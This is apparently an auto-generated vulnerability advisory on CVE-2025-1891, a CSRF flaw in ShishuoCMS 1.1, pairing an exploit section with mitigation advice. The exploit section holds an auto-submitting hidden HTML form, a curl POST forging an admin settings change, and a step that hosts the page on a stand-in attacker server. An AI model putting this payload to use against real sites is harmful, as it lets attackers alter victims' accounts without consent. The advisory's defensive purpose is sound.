ShishuoCMS, Cross-Site Request Forgery (CSRF), CVE-2025-1891 (Medium)

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How the CVE Works:

CVE-2025-1891 is a Cross-Site Request Forgery (CSRF) vulnerability found in ShishuoCMS version 1.1. The vulnerability arises due to insufficient validation of HTTP requests, allowing attackers to trick authenticated users into executing unintended actions on the web application. By crafting a malicious request and luring a victim to click on a link or visit a compromised webpage, the attacker can perform actions on behalf of the victim without their consent. This could include changing account settings, posting content, or other administrative actions. The attack is remotely exploitable, and the exploit has been publicly disclosed, increasing the risk of active exploitation.

DailyCVE Form:

Platform: ShishuoCMS
Version: 1.1
Vulnerability: CSRF
Severity: Medium
Date: 03/03/2025

What Undercode Say:

Exploitation Details:

1. Exploit Code Example:

<html>
<body>

<form action="http://target-shishuocms-site.com/admin/change_settings" method="POST">
<input type="hidden" name="new_setting" value="malicious_value">
</form>

<script>document.forms[0].submit();</script>
</body>
</html>

This code automatically submits a forged request to the target site when a victim visits the malicious page.

2. Exploit Command:

Use a tool like `curl` to simulate CSRF attacks:

curl -X POST -d "new_setting=malicious_value" http://target-shishuocms-site.com/admin/change_settings

3. Exploit URL:

Host the malicious HTML file on a server and share the link:

http://attacker-server.com/malicious.html

Protection Details:

1. Mitigation Steps:

  • Implement CSRF tokens in all state-changing requests.
  • Validate the `Origin` and `Referer` headers in HTTP requests.
  • Use SameSite cookies to prevent cross-origin requests.

2. Patch Code Example:

Add CSRF token validation in the backend:

session_start();
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF validation failed.");
}

3. Protection Tools:

  • Use frameworks like Laravel or Django that have built-in CSRF protection.
  • Employ Web Application Firewalls (WAFs) to detect and block CSRF attempts.

4. Testing Tools:

  • Use OWASP ZAP or Burp Suite to test for CSRF vulnerabilities.
  • Command to scan with OWASP ZAP: 
    zap-cli quick-scan --spider --ajax-spider --recursive http://target-shishuocms-site.com

5. References:

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-1891
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